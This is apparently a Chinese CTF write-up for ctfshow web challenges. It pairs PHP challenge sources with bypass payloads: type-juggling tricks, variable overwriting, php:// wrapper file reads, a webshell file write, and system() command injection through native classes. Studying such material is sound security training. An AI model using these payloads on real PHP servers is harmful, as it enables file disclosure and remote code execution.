信息收集
web1
f12查看即可
web2
不能右键和f12,但是可以CTRL+U
web3
在响应头
web4
在robots.txt
web5
phps文件泄露,在index.phps
web6
web7

题目说是版本环境
.git泄露,直接访问就可以
web8
.svn泄露
web9

题目说vim
swp泄露,访问index.php.swp
web10
cookie里能看到
web11

域名记录不一样,直接去dns查看的网站找找就可以了
web12

翻到最下面看这个nunber,在robots.txt说访问/admin,数字就是admin的密码
这这……
web13

这里说技术文档,直接看网页最下面有一个document
进去之后发现
web14
扫描发现他有一个/editor
访问就没错
在附件的文件空间选择里发现在/var/www/html/nothinghere有个fl000g.txt
直接在url访问/nothinghere/fl00g.txt就可以了
web15
仍然是扫描发现有一个/admin
要登陆,用户名应该是主页最下面的qq邮箱
密码不知道,点击忘记密码,需要所在地
毕竟是qq邮箱,qq搜一下就知道这位在西安
web16

题目说是探针,直接后面加/tz.php看php探针
然后发现phpinfo是能点进去的,点进去在env能看到flag
web17

说是sql文件泄露
访问/backup.sql,在下载的问家里找到flag
web18
一个js小游戏,说分数要101分,先js/Flappy_js.js在这看看源码
看得出来只要score>100就可以,在控制台改一下就好了
访问110.php即可
好吧其实直接在if(score>100) { var result=window.confirm("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b"); }然后unicode解码就能看到了……
web19

看源码这里都告诉我们了,密码a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04需要解密一下,上面是加密过程,咋跟密码学一样……
应该是AES加密,解一下密码是 i_want_a_36d_girl,登录即可
web20

都这么说了肯定是mdb泄露,访问/db/db.mdb下载之后打开就有flag了
php特性
web89
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
这里主要是要绕过preg_match,只要传一个数组他就会报错出一个false
所以传的是?num[]=1
注意:对于intval()这个函数,可以参考https://blog.csdn.net/wangyuxiang946/article/details/131156104
他有很多特性,可以传小数 科学计数法 其他进制这些的去绕过,但是这题不行啊
web90
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这个就是intval()的绕过了,方法应该挺多的,我用num=4476.2做的,可以用4476aaa或者其他的进制
web91
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com
*/
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
第一个if的m参数是多行匹配,而第二个只匹配一行,所以只需要换行然后第二行有php就行了,可以用%0anum=1%0aphp
web92
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
上面那题的intval的强比较改成了弱比较,会进行类型转换,所以一定得是数字先
其实还是上面那些都可以,可以再加一个4476e123
web93
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
用上面的不带字母的过就好了
web94
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

因为$num是被当作字符串的,所以只要后面有0就好了,传4476.0就好
web95
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这下不能用小数了,但是可以空格加上八进制绕过%20010574
web96
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
比如./flag.php或者../html/flag.php或者/var/www/html/flag.php都行
web97
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
md5强比较,传数组就行了,post的那玩意不看是不是数组,md5是数组就报错false===false就好了a[]=1&b[]=123
web98
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
*/
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
看起来很绕,但是只要理解了这里的&引用就好了,比如第一句话$_GET?$_GET=&$_POST:'flag';就是看get有没有传值,如果有的话就是把post的值引用给get,没有就将字符串 ‘flag’ 赋给 $_GET
而$_SERVER[‘HTTP_FLAG’] 是一个 PHP 超全局变量 $_SERVER 中的一个元素。$_SERVER 是一个包含了服务器和执行环境信息的数组。$_SERVER[‘HTTP_FLAG’] 表示 HTTP 请求头中名为 “HTTP_FLAG” 的字段的值。
最后就只要在get里面随便传点啥,然后post一个HTTP_FLAG=flag
web99
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
这个不是随机数的漏洞是in_array的漏洞,也是类型转换,要是后面的数组中有某个数字,前面有那个数字后面不管跟什么都是true
例如in_array('1a', [1,2,3,4,5])``in_array('1a', [0,1,2,3,4,5]),所以我们只需要在n中传一个1.php即可,然后content里面就传个马
或者直接命令执行也行,但是要注意这里的cat more nl被ban了,得用tac例如<?=tac%20f*;
web100
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
运算符优先级的考察https://www.php.net/manual/zh/language.operators.precedence.php?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
web101
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
相较于上一题多了一些限制,但是注意到flag是在类ctfshow里,可以利用反射类去输出
https://www.php.net/manual/zh/class.reflectionclass.php
这里利用的是这个类的tostring函数
?v1=123&v2=echo new ReflectionClass&v3=;
web102
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43
*/
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
substr()函数的作用是
就相当于是截取指定的一段,这里就是从第三个开始截取
然后这段代码就是说只能传数字但是可以调用一个call_user_func去处理那一串数字然后再由file_put_contents写进去
这里就是考察一个数字怎么转化为可执行代码的问题,有一种方法使用hex2bin函数:
payload如下?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=b.phpv1=hex2bin
首先这里的v2其实是echo bin2hex(str_replace("=","",base64_encode("<?=cat *;")));这里b64的目的就是把符号给去了,b64后面出来的等号可以不要,再加上bin2hex这样可以让他转化成只有字母e和数字的字符串,这样is_numeric就会识别他为科学计数法不会被ban,最后v1传一个hex2bin就可以给转回去b64编码了,对了记得要在前面加两个数字
但是也不能读b64啊,那只能在v3上面下功夫,可以用filter协议过滤一下,然后b64解码就能出来
最后访问b.php就可以了,flag在源码
web103
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 21:03:24
*/
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
上一题过滤了php,但是对伪协议不起作用,还是可以上面那样
web104
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
sha1弱比较,用数组绕过就行
或者这么些都是sha1加密之后0e开头的
| ```
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112
|
| --- |
## web105
```php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
考察的是变量覆盖
我们一个个分析
首先这段
的意思是遍历每一个get和post的参数的值,等号左边是key右边是value,如果get的是error=xxx或者post的是xxx=flag的话就die();如果不是的话就会进行变量覆盖
然后
这个是说post的flag要等于变量flag的值,但是这肯定预测不到,就只有一种办法,去将$flag变为空,然后传一个空的flag过去就可以了,但是这样flag就没了,但是最后不是有一个$suces嘛,可以把flag的值赋给他
于是最后的paylod
这里$key是suces,$value是flag,于是$$key=$$value变量覆盖让$suces=$flag,然后$flag=null,最后if匹配通过
web106
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
跟上上题差不多,还是数组就可以,但是后面的值不要一样
web107
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
parse_str()函数的作用是这样

这里就是在v1里找到一个变量flag的提出来他的值等于md5之后的v3
我们可以
这样就可以实现null==null
web108
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
首先解释一下函数的意思,第一个ereg就是说要含有字母和$在字符串里
然后intval就是转化为十进制,strrev就是反转字符
这一坨的意思就是c变量反转过后再转化为十进制的字符串等于0x36d就是877
但是也不能只传数字啊,会在ereg被ban,这里的ereg有一个%00截断,于是传?c=q%00778
web109
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
这题啥都没给又要用new,要去用php的内置类(原生类)去解决
首先要去读文件名,这里用DirectoryIterator或者FilesystemIterator类,触发它里面的__tostring函数就可以实现读取括号里面的目录的第一个文件,php手册https://www.php.net/manual/zh/class.directoryiterator.php
例如
<?php
//这两个虽然都是后去第一个文件但是第一个会获取到"."当前目录,第二个才会真正的获取文件
echo new DirectoryIterator("./");
echo new FilesystemIterator("./");
//如果要全部获取的话就需要遍历
$a=new DirectoryIterator("./");
foreach($a as $b){
echo $b->getFilename()."<br>";
}
//如果要搜索的话可以借助glob
echo new FilesystemIterator("glob://./flag*");
还有一个类是GlobIterator类,这个是可以像glob://一样过滤找文件的
echo new GlobIterator("flag*");
对于这道题,用./去获取目录似乎不行,这里有一些其他的方法获取目录,这题只有getcwd可以,所以payload是?v1=FilesystemIterator&v2=getcwd
目录名:
echo getcwd();
echo __dir__;
echo dirname(__FILE__); //有目录路径
echo basename(getcwd()); //只有目录名
当前文件名:
echo __file__; //包括路径
echo $_SERVER["PHP_SELF"];
echo $_SERVER["SCRIPT_NAME"];
然后就是读文件,有一个SplFileObject类,是这样用的
echo new SplFileObject("/flag.txt");
好用是好用,但是这道题不行啊
所以我们需要另外的内置类,Error和Exception类都可以
具体可以看这个https://www.php.net/manual/zh/language.exceptions.extending.php
因为这题的echo刚好可以触发__tostring
payload如下?v1=Exception&v2=system('cat fl36dg.txt'),但是很奇怪为啥不用闭合括号啊……
还看到有大佬用这种方法?v1=ReflectionClass&v2='stdClass');system('cat fl36dg.txt');//也能成功,在源码那里看到flag
其他内置类的方法可以参考https://johnfrod.top/%E5%AE%89%E5%85%A8/ctf-%E4%B8%AD-php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/
https://xz.aliyun.com/t/9293
web110
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
这题多了一堆的过滤,但是直接用上面的FilesystemIterator和getcwd就能出来文件名,直接访问就行(上一题其实也可以直接访问fl36dg.txt)
web111
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
array(8) { ["_GET"]=> array(2) { ["v1"]=> string(7) "ctfshow" ["v2"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["v1"]=> &string(7) "ctfshow" ["v2"]=> &string(7) "GLOBALS" ["flag"]=> string(45) "ctfshow{981a45d8-0f65-4b87-90d4-df557d47d37c}" ["GLOBALS"]=> &array(8) { ["_GET"]=> array(2) { ["v1"]=> string(7) "ctfshow" ["v2"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["v1"]=> &string(7) "ctfshow" ["v2"]=> &string(7) "GLOBALS" ["flag"]=> string(45) "ctfshow{981a45d8-0f65-4b87-90d4-df557d47d37c}" ["GLOBALS"]=> *RECURSION* } }
这题考察的是一个引用和$GLOBALS变量
因为v1一定要是ctfshow,v2用一个全局变量让ctfshow指向的就是全局变量指向的,然后vardump就可以输出?v1=ctfshow&v2=GLOBALS
web112
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
考伪协议,?file=php://filter/resource=flag.php就可以了
具体可以看php伪协议
web113
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:52
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
看着很伪协议,可以用compress.zlib://flag.php
但是不用伪协议也可以,只需要绕过is_file就可以
在linux里/proc/self/root是指向根目录的,因此可以疯狂套娃绕过?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
web114
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
哈?这个可以用filter啊?file=php://filter/resource=flag.php
web115
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19
*/
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
trim()函数的作用是去除字符串的首尾空白字符
差不多就是把可以绕过is_numeric的全部ban了
这次要用到fuzz脚本遍历ascii去看看能用什么字符
<?php
for($i = 0; $i<129; $i++){
$num=chr($i).'36';
if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
echo urlencode(chr($i))." ";
}
}
?>
//%0C %2B - . 0 1 2 3 4 5 6 7 8 9
试了下只有%0C可以?num=%2B36
web123
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
解法一:用eval命令执行
首先要绕过CTF_SHOW.COM,因为php的变量命名是只有数字字母下划线的,.是不行的会被替换为下划线,所以用[绕一下,然后命令执行即可CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag,这里CTF[SHOW.COM会被替换为CTF_SHOW.COM,然后后面的.不会被替换,变量能正常被识别
**解法二**:变量覆盖
也可以给$fl0g=”flag_give_me”
先要了解一下$_SERVER是啥,这玩意差不多就是输出一些服务器的信息
然后argv的话就会获取get里的值(这个变量仅在 register_argc_argv 打开时可用),$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]=get传参?后面的值,注意是整个字符串,key和value都有
用这个特性,我们就可以不用直接在get里赋fl0g,而是?$fl0g=flag_give_me;,曲线救国,这个不会识别出来,然后因为$a=$_SERVER['argv'];,让$a[0]=="$fl0g=flag_give_me;",于是再利用eval,把他给$c进行命令执行赋值$f10g,最后让最后的if语句为true?$fl0g=flag_give_me;
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])或者assert($a[0])等其他的命令执行函数
解法三:argv隔断
可以用+符号隔断argv,这样不会被检测到有f10g参数,再用parse_str()函数去把字符串解析成变量?a=1+fl0g=flag_give_meCTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])(注意这里$a[1],因为被隔断了,argv认为为下一个才是f10g)
web125
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
用上面的解法二三可以出
然后还可以执行一些别的命令例如highlight_file($_GET[a])然后?a=flag.php也可以绕过
web126
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
多了几个字母的过滤,用解法二三也行
web127
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
看到extract一眼变量覆盖,但是限制一大堆
可以用fuzz跑一下,或者写个request脚本去打
<?php
function waf($num){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $num)){
return false;
}else{
return true;
}
}
for($i = 0; $i<129; $i++){
$num=chr($i);
if(waf($num)){
echo "未编码:".$num." 经过编码:".urlencode(chr($i))."\n";
}
}
?>
import requests
url = "http://604cc8ff-a489-4355-8f31-c0ee5b3e3a15.challenge.ctf.show/"
for i in range(0,129):
i=chr(i)
params = {"ctf"+i+"show": "ilove36d"}
response = requests.get(url, params=params)
# print (response.url)
if "ctfshow{" in response.text:
print(response.text)
跑出来是空格能行,他会被替换成下划线?ctf%20show=ilove36d
web128
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
